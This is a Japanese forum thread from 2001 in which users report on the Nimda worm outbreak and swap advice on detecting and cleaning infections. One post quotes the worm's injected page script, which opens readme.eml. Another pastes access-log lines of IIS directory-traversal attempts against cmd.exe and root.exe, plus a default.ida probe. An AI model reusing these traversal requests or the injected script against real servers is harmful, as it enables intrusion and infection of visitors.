C:\WINDOWS\Temporary Internet Files\Content.IE5\KYOUX70K\wtf[1].eml (readme.exe),
TROJ_BKDOOR.OG,
↑ログ。

＞＞９０７
ほんとだ、山梨学院だねごめん。まちがえちゃった

トレンドマイクロのオンラインウイルススキャン重し

ie5.5とie6.0ってどっちが安定してるんだ？

状況報告ver1.04(前編)
対策
1.IE5.01とIE5.5はSP2以外無条件でDL実行してしまうので、感染前ならアップデートする
2.それでもダイアログは開くので、覚えのないファイルはDLしない。
3.ツール→インターネットオプション→セキュリティ→レベルのカスタマイズ
　→java関連とダウンロードのファイルのダウンロードを不許可。

現在わかっている影響
1.メールによるウイルスファイルの頒布
2.WEBコンテンツ閲覧時にそのサーバにウイルスパケットを送り攻撃、感染する。
3.バックドアを開き、クライアントを丸裸にする。
4.大量の*.emlファイルを量産する。
5.感染したPCはCドライブをネットワーク共有する。
6.システムのスローダウン
7.リソースの消耗
8.他のファイルに潜伏する。

メールによる接触時
ウィルス感染したメールを受信したとき、readme.exe はwav（音声）ファイルになりすます。

LANによる感染
　社内に一人でも対策してないひとがいてノーパスとかにしていた場合
　LANの共有フォルダを使っても自己増殖する。

感染鯖
　ソースの最後に<html><script language="JavaScript">window.open("readme.eml", null,
"resizable=no,top=6000,left=6000")</script></html>
が追加される。

なんか昨日辺りHP開いたら変なファイルダウソしちゃったっぽい･････。
やばいよね。IE5.0なんだけど。
どうしよう〜〜〜〜〜。なんか全てのファイルの拡張子がなくなってるんだけど
これってウイルスのせいですか？

今来たんだけどまったく意味がわかりません！
何をどうすればどうなるんですか？

>>911
そういうのはスーパー初心者用のスレで聞いてくれ！

>>914
それは感染したんではなくて、IEのキャッシュを拾ってるだけ。
意図的に実行していなければ感染しない。

＞java関連とダウンロードのファイルのダウンロードを不許可。

ここの具体的なやり方がわからないのですが。

あわててIE5.5 SP2をウィンドウズアップデート行って入れたんだけど、
ひょっとしたら前から SP2 だったかも。
SP2 っていつ頃から出てるの？
アップデートは月１ぐらいでしてるんだけど・・・。

状況報告ver1.04(後編)
感染の有無の確認
1.●トレンドマイクロ　オンラインスキャン
http://www.trendmicro.co.jp/hcall/scan.htm

2.『*.eml』『readme.exe』『MEP51B3.TMP.EXE』の検索でHIT
　*.emlが大量にHITした際は確定。
　ただし、それが以前に自分の書いた見覚えのあるメールだったら、
　それはウイルスではない。
　そうでないときは後者2個を削除して様子を見る。
　ファイルのDLを拒否してもファイルが作成されたという報告があるので、
危険ブラウザでない人もファイルのDLを不許可にした方がいい。
3.『mep』で検索した際に『mep????.tmp』がHITする(らしい)


感染時の対応
　感染してしまった後は、アップデートしても無意味。
　とりあえず検索で引っかかったファイルを削除した後、感染を拡大しないように
ウイルス対応ソフトのHP以外には行かず、ワクチンが出来るまで他のWEBコンテン
ツを回らない。

　ワクチンできたよとかの情報など、追加のフォローさらに宜しく！＞ALL

>904
でもどっかにお詫び見たいの出してなかった？

デコードってどうするの？

>>922
そうなんだ。駆除したとかメッセージがでたから
やられたと思ったよ

>>926
http://help.msn.co.jp/notice.htm

>>927
何のデコード？

>>923
　やじるし通りに手順を踏んで、そこにラジオ(チェックボックスみたいの)がいっぱいあるから
そこで『java』って書いてある全部と、『ダウンロード』『ファイルのダウンロード』って項目を
全部不許可。
　事態が収束したら、セキュリティー中でOKだからとりあえず今はこうしといて。

readme.exeをデコードしてみたいのだが
どうすればよい？

ie6ってどこにあるの？

ワクチン出来たらしいからもうちょっと待ちましょう。

みんなIE3以下にアップデートしたほうがいいんじゃないか？

　一応、念のために説明すると*.emｌはメールファイルのことで
『*.eml』の意味は*.emｌという名前のファイルではなく.emlと言う拡張子
の付いたファイル全部検索しろと言う意味で、身に覚えのない数以上
のファイルが検索されたら感染を疑ってみるべきでしょう。

バージョン情報の更新バージョンがSP２になっているんですが、
これは大丈夫ってこと？

>>928
Temporary Internet Files以外で発見したら、それは感染してることになるので、
駆除後再度チェックすることをお勧めする。

関係ないけど、マイドキュメント内に
capt.1000253440terrorist_attacks_xnyr316
とかいうファイルがあってびびった。

931はあほ。死ねよ!

いま、自宅のサーバーのアバッチのエラーログ
みてたら、攻撃されてるわされてるわ。笑

>910
http://www.microsoft.com/japan/ie/downloads/
ここに逝ってください

>924
8月15日だったかな。
漏れは20日頃にアップデートしたよ。
でもWindows Updateでは表示されなかったんで、手動で
ダウンロードしたと思う。

>>934
それはｱｯﾌﾟﾃﾞｰﾄっていわないYo!
しかもｹﾞｲﾂの陰謀でﾊﾞｰｼﾞｮﾝを下げる事は出来ない。。。。

IE6入れときゃOKかい？

おいっ!!!
てめーら、全員初心者板逝けや

>>938
おまえテロ画像ダウソしたろ？

あのＤＬ画面がウイルスだったのか・・・。
うちは初めからＩＥ６だったからいいけど

age

ｶﾞｲｼｭﾂだったらすまん
アクセスログに
23:17:52 /msadc/..%5c../..%5c../..%5c/..ﾁ../..ﾁ../..ﾁ../winnt/system32/cmd.exe
23:17:49 /d/winnt/system32/cmd.exe
23:17:56 /scripts/..%5c../winnt/system32/cmd.exe
23:17:55 /scripts/..%5c../winnt/system32/cmd.exe
23:17:50 /scripts/..%5c../winnt/system32/cmd.exe
23:17:47 /scripts/root.exe
23:17:48 /MSADC/root.exe
23:17:54 /scripts/..ﾀｯ../winnt/system32/cmd.exe
23:17:52 /scripts/..ﾁ../winnt/system32/cmd.exe
23:17:50 /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe
23:17:56 /scripts/..%5c../winnt/system32/cmd.exe
23:17:51 /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe
23:17:57 /scripts/..%2f../winnt/system32/cmd.exe
23:17:53 /scripts/..ﾀ/../winnt/system32/cmd.exe
23:17:48 /c/winnt/system32/cmd.exe
23:17:54 /scripts/..ﾁ・./winnt/system32/cmd.exe
こういうのがあったけど、これが感染したってこと？

今回の騒ぎは「２ちゃんねらー」に限っては今日で解決しそう？

ie6はどうよ。やっぱりよさげですか？

一番注意して欲しいｵｻｰﾝ達に限って
警告してもうわのそら

>>950
うん、今のところは完璧。

ie6でも実行すれば感染しちゃうらしい。

てかメール経由だと感染するのか？

今もあったよ。まったくなあ。。
[Wed Sep 19 16:01:05 2001] [error] [client 165.76.伏字.250] File does not exist: /
www/htdocs/default.ida

>>948
IISじゃなければ安心だよ。

>>944
初心者用のスレがあるので、そこを読むと大概は解決できるかと。
http://news.2ch.net/test/read.cgi?bbs=news&key=1000867662&ls=50

>>945
そうそう（ｗ

>>953
ってoutlook6のこと？

お祭りワショーイ！！

ネスケはどうよ？

こっちにも一応。
現在出回っているデマ情報
http://keisui.com/GIGAZINE/cgi-bin/news/html/lg/000325.htm
・拡張子.emlのファイルとreadme.exeを検索して消せばよい
→そんなことしてもシステムファイルや実行ファイルが感染しているのでムダです、あきらめましょう。
・SP2をインストールすればヨイ
→感染後にインストールしても無意味ですよ〜。
・これはラディンのテロと関係がある
→関係ないと発表されてます。
・MSNのページを見たらやばい、感染する
→既に朝9時頃に対策されました。が、昨晩の夜11時頃から本日朝9時頃まで、
　MSNのトップページを表示させた人でSP2でないIE使用の人は感染の疑いがあります。
・JavaScript切っていれば大丈夫
→感染したページを見ても大丈夫なだけであって、感染した人から届いた添付ファイル（README.EXE）を実行すると感染します。
・IE6、IE5.5SP2だから大丈夫
→これも、ページを見ても大丈夫なだけであって、感染した人から届いた添付ファイル（README.EXE）を実行すると感染します。
・NetscapeNavigatorやOperaだから大丈夫
→くどいようですが、ページを見ても大丈夫なだけであって、感染した人から届いた添付ファイル（README.EXE）を実行すると感染します。
・ICQとかMSN Messengerで感染する
→しません。が、ウイルス付きのファイルを送られてきたらその限りではない。

>>953
Windows(WIN32)環境なら実行してしまえば必ず感染すると思う。
不用意に知らないファイルを実行しないこと。

1

10

本当の前スレ
　MSNにウィルス添付？
　http://news.2ch.net/test/read.cgi?bbs=news&key=1000822776

セキュリティ板
　http://news.2ch.net/test/read.cgi?bbs=news&key=1000867662

>>961
そこのＵＲＬ、さっきから何度アクセスしても「ページを表示できません」
なんだよね。
貼り付けたら、ＭＳＮサーチが「ありません」っていってくるし。

次スレ、もう立ってるの？

中日新聞のサイトではこのウィルスの記事あるのかな？
ｓｐ２あててあるけど、みずから確認に逝く勇気ない

感染したemlファイルをデコードするとどうなるの？

■最悪のウイルス登場MSNが配布 その3■

最悪のウイルス登場MSNが配布 その2
http://news.2ch.net/test/read.cgi?bbs=news&key=1000861682
MSNにウィルス添付？
http://news.2ch.net/test/read.cgi?bbs=news&key=1000822776
セキュリティ板
http://news.2ch.net/test/read.cgi?bbs=news&key=1000867662

今だ！1000番ゲットォォｫｫ！！
￣￣￣￣￣∨￣￣￣　　　　　　　(´´
　　　　 ∧∧　　　）　　　　　　(´⌒(´
　　⊂（ﾟДﾟ⊂⌒｀つ≡≡≡(´⌒;;;≡≡≡
　　　　　　 ￣￣　 (´⌒(´⌒;;
　　　　　　ｽﾞｻﾞｰｰｰｰｰｯ

今だ！1000番ゲットォォｫｫ！！
￣￣￣￣￣∨￣￣￣　　　　　　　(´´
　　　　 ∧∧　　　）　　　　　　(´⌒(´
　　⊂（ﾟДﾟ⊂⌒｀つ≡≡≡(´⌒;;;≡≡≡
　　　　　　 ￣￣　 (´⌒(´⌒;;
　　　　　　ｽﾞｻﾞｰｰｰｰｰｯ

ＺＤＮＥＴのニムダウイルスの詳細記事
http://www.zdnet.co.jp/news/0109/19/e_nimda_m.html

じゃあ、９８０が次ｽﾚたてるってことで。

975

自分宛にテストメール送ってREADME.EXEがくっついてきたらビンゴ
っていう確認方法はだめ？

1000

tyjms

今だ！1000番ゲットォォｫｫ！！
￣￣￣￣￣∨￣￣￣　　　　　　　(´´
　　　　 ∧∧　　　）　　　　　　(´⌒(´
　　⊂（ﾟДﾟ⊂⌒｀つ≡≡≡(´⌒;;;≡≡≡
　　　　　　 ￣￣　 (´⌒(´⌒;;
　　　　　　ｽﾞｻﾞｰｰｰｰｰｯ

ワクチンまだ？

【速報】文部科学省地震調査研究推進本部のホームページにも新種ウイルス「Ｎｉｍｄａ（ニムダ）」が感染

っていうか、さっきメール起動したら１２０通くらいきてるんですが・・・・

>>980
スレ立てよろしく

1000

┌────────────────────┐
｜┏━━━┓ 　 　 　 郵　便　は　が　き　　　　 　 │
│┃ ∧,,∧ ┃年┏━┳━┳━┓┌‐┬‐┬‐┬‐┐│
│┃（´∀｀）┃賀┃１ ┃１ ┃５ ┠┤0│0│5｜2││
│┃（ 　　 ）┃　 ┗━┻━┻━┛└‐┴‐┴‐┴‐┘│
│┗━━━┛　　　　　　　　　　　　　　　 　　 　　 　 │
│　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 赤　 │
│　 　 　 　 　 　 　 ┏━┓　 　 　 　 　 　 　 　 羽 　│
│　 　 　 　 　 　 　 ┃訴┃　 　 西　 　 　 　 　 北　 │
│　 　 　 　 　 　 　 ┃　 ┃　 　 　 　 　 　 　 　 二 　│
│　 　 　 　 　 　 　 ┃状┃　 　 村　 　 　 　 　 丁　 │
│　 　 　 　 　 　 　 ┃　 ┃　 　 　 　 　 　 　 　 目　 │
│　 　 谷　 　 　 　 ┃在┃　 　 博　 　 　 　 　 31 　│
│　 　 澤　 　 　 　 ┃ 　┃　 　 　 　 　 　 　 　 番 　│
│　 　 動　 　 　 　 ┃中┃　 　 之　 　 　 　 　 16 　│
│　 　 物　 　 　 　 ┗━┛　 　 　 　 　 　 　 　 ｜ 　│
│　 　 病　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 一 　│
│　 　 院　 　 　 　 　 　 　 　 　 様　 　 　 　 　 三 　│
│　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 一 　│
│　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 一　 │
│　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 号　 │
│　[][][]-[][][][] 　 　 　　　 　　 　 　　 　　 　 　　 　 │
│┏━━━━┓┏━━━━━┓┏━━━━━┓│
│┃ Ａ2043組┃┃　お年玉ｸｼﾞ┃┃　 00486680┃│
│┗━━━━┛┗━━━━━┛┗━━━━━┛│
└────────────────────┘

1

うおオレも100通来てる・・・

┌────────────────────┐
｜┏━━━┓ 　 　 　 郵　便　は　が　き　　　　 　 │
│┃ ∧,,∧ ┃年┏━┳━┳━┓┌‐┬‐┬‐┬‐┐│
│┃（´∀｀）┃賀┃１ ┃１ ┃５ ┠┤0│0│5｜2││
│┃（ 　　 ）┃　 ┗━┻━┻━┛└‐┴‐┴‐┴‐┘│
│┗━━━┛　　　　　　　　　　　　　　　 　　 　　 　 │
│　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 赤　 │
│　 　 　 　 　 　 　 ┏━┓　 　 　 　 　 　 　 　 羽 　│
│　 　 　 　 　 　 　 ┃訴┃　 　 西　 　 　 　 　 北　 │
│　 　 　 　 　 　 　 ┃　 ┃　 　 　 　 　 　 　 　 二 　│
│　 　 　 　 　 　 　 ┃状┃　 　 村　 　 　 　 　 丁　 │
│　 　 　 　 　 　 　 ┃　 ┃　 　 　 　 　 　 　 　 目　 │
│　 　 谷　 　 　 　 ┃在┃　 　 博　 　 　 　 　 31 　│
│　 　 澤　 　 　 　 ┃ 　┃　 　 　 　 　 　 　 　 番 　│
│　 　 動　 　 　 　 ┃中┃　 　 之　 　 　 　 　 16 　│
│　 　 物　 　 　 　 ┗━┛　 　 　 　 　 　 　 　 ｜ 　│
│　 　 病　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 一 　│
│　 　 院　 　 　 　 　 　 　 　 　 様　 　 　 　 　 三 　│
│　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 一 　│
│　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 一　 │
│　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 号　 │
│　[][][]-[][][][] 　 　 　　　 　　 　 　　 　　 　 　　 　 │
│┏━━━━┓┏━━━━━┓┏━━━━━┓│
│┃ Ａ2043組┃┃　お年玉ｸｼﾞ┃┃　 00486680┃│
│┗━━━━┛┗━━━━━┛┗━━━━━┛│
└────────────────────┘

┌────────────────────┐
｜┏━━━┓ 　 　 　 郵　便　は　が　き　　　　 　 │
│┃ ∧,,∧ ┃年┏━┳━┳━┓┌‐┬‐┬‐┬‐┐│
│┃（´∀｀）┃賀┃１ ┃１ ┃５ ┠┤0│0│5｜2││
│┃（ 　　 ）┃　 ┗━┻━┻━┛└‐┴‐┴‐┴‐┘│
│┗━━━┛　　　　　　　　　　　　　　　 　　 　　 　 │
│　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 赤　 │
│　 　 　 　 　 　 　 ┏━┓　 　 　 　 　 　 　 　 羽 　│
│　 　 　 　 　 　 　 ┃訴┃　 　 西　 　 　 　 　 北　 │
│　 　 　 　 　 　 　 ┃　 ┃　 　 　 　 　 　 　 　 二 　│
│　 　 　 　 　 　 　 ┃状┃　 　 村　 　 　 　 　 丁　 │
│　 　 　 　 　 　 　 ┃　 ┃　 　 　 　 　 　 　 　 目　 │
│　 　 谷　 　 　 　 ┃在┃　 　 博　 　 　 　 　 31 　│
│　 　 澤　 　 　 　 ┃ 　┃　 　 　 　 　 　 　 　 番 　│
│　 　 動　 　 　 　 ┃中┃　 　 之　 　 　 　 　 16 　│
│　 　 物　 　 　 　 ┗━┛　 　 　 　 　 　 　 　 ｜ 　│
│　 　 病　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 一 　│
│　 　 院　 　 　 　 　 　 　 　 　 様　 　 　 　 　 三 　│
│　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 一 　│
│　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 一　 │
│　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 号　 │
│　[][][]-[][][][] 　 　 　　　 　　 　 　　 　　 　 　　 　 │
│┏━━━━┓┏━━━━━┓┏━━━━━┓│
│┃ Ａ2043組┃┃　お年玉ｸｼﾞ┃┃　 00486680┃│
│┗━━━━┛┗━━━━━┛┗━━━━━┛│
└────────────────────┘

1000げっと！

┌────────────────────┐
｜┏━━━┓ 　 　 　 郵　便　は　が　き　　　　 　 │
│┃ ∧,,∧ ┃年┏━┳━┳━┓┌‐┬‐┬‐┬‐┐│
│┃（´∀｀）┃賀┃１ ┃１ ┃５ ┠┤0│0│5｜2││
│┃（ 　　 ）┃　 ┗━┻━┻━┛└‐┴‐┴‐┴‐┘│
│┗━━━┛　　　　　　　　　　　　　　　 　　 　　 　 │
│　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 赤　 │
│　 　 　 　 　 　 　 ┏━┓　 　 　 　 　 　 　 　 羽 　│
│　 　 　 　 　 　 　 ┃訴┃　 　 西　 　 　 　 　 北　 │
│　 　 　 　 　 　 　 ┃　 ┃　 　 　 　 　 　 　 　 二 　│
│　 　 　 　 　 　 　 ┃状┃　 　 村　 　 　 　 　 丁　 │
│　 　 　 　 　 　 　 ┃　 ┃　 　 　 　 　 　 　 　 目　 │
│　 　 谷　 　 　 　 ┃在┃　 　 博　 　 　 　 　 31 　│
│　 　 澤　 　 　 　 ┃ 　┃　 　 　 　 　 　 　 　 番 　│
│　 　 動　 　 　 　 ┃中┃　 　 之　 　 　 　 　 16 　│
│　 　 物　 　 　 　 ┗━┛　 　 　 　 　 　 　 　 ｜ 　│
│　 　 病　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 一 　│
│　 　 院　 　 　 　 　 　 　 　 　 様　 　 　 　 　 三 　│
│　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 一 　│
│　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 一　 │
│　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 号　 │
│　[][][]-[][][][] 　 　 　　　 　　 　 　　 　　 　 　　 　 │
│┏━━━━┓┏━━━━━┓┏━━━━━┓│
│┃ Ａ2043組┃┃　お年玉ｸｼﾞ┃┃　 00486680┃│
│┗━━━━┛┗━━━━━┛┗━━━━━┛│
└────────────────────┘

本当の前スレ
　MSNにウィルス添付？
　http://news.2ch.net/test/read.cgi?bbs=news&key=1000822776

セキュリティ板
　http://news.2ch.net/test/read.cgi?bbs=news&key=1000867662

┌────────────────────┐
｜┏━━━┓ 　 　 　 郵　便　は　が　き　　　　 　 │
│┃ ∧,,∧ ┃年┏━┳━┳━┓┌‐┬‐┬‐┬‐┐│
│┃（´∀｀）┃賀┃１ ┃１ ┃５ ┠┤0│0│5｜2││
│┃（ 　　 ）┃　 ┗━┻━┻━┛└‐┴‐┴‐┴‐┘│
│┗━━━┛　　　　　　　　　　　　　　　 　　 　　 　 │
│　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 赤　 │
│　 　 　 　 　 　 　 ┏━┓　 　 　 　 　 　 　 　 羽 　│
│　 　 　 　 　 　 　 ┃訴┃　 　 西　 　 　 　 　 北　 │
│　 　 　 　 　 　 　 ┃　 ┃　 　 　 　 　 　 　 　 二 　│
│　 　 　 　 　 　 　 ┃状┃　 　 村　 　 　 　 　 丁　 │
│　 　 　 　 　 　 　 ┃　 ┃　 　 　 　 　 　 　 　 目　 │
│　 　 谷　 　 　 　 ┃在┃　 　 博　 　 　 　 　 31 　│
│　 　 澤　 　 　 　 ┃ 　┃　 　 　 　 　 　 　 　 番 　│
│　 　 動　 　 　 　 ┃中┃　 　 之　 　 　 　 　 16 　│
│　 　 物　 　 　 　 ┗━┛　 　 　 　 　 　 　 　 ｜ 　│
│　 　 病　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 一 　│
│　 　 院　 　 　 　 　 　 　 　 　 様　 　 　 　 　 三 　│
│　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 一 　│
│　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 一　 │
│　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 号　 │
│　[][][]-[][][][] 　 　 　　　 　　 　 　　 　　 　 　　 　 │
│┏━━━━┓┏━━━━━┓┏━━━━━┓│
│┃ Ａ2043組┃┃　お年玉ｸｼﾞ┃┃　 00486680┃│
│┗━━━━┛┗━━━━━┛┗━━━━━┛│
└────────────────────┘

1000

1000

本当の前スレ
　MSNにウィルス添付？
　http://news.2ch.net/test/read.cgi?bbs=news&key=1000822776

セキュリティ板
　http://news.2ch.net/test/read.cgi?bbs=news&key=1000867662

１０００

１０００げっとだぜ

１０００。

このスレッドは１０００を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。

このスレッドは１０００を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。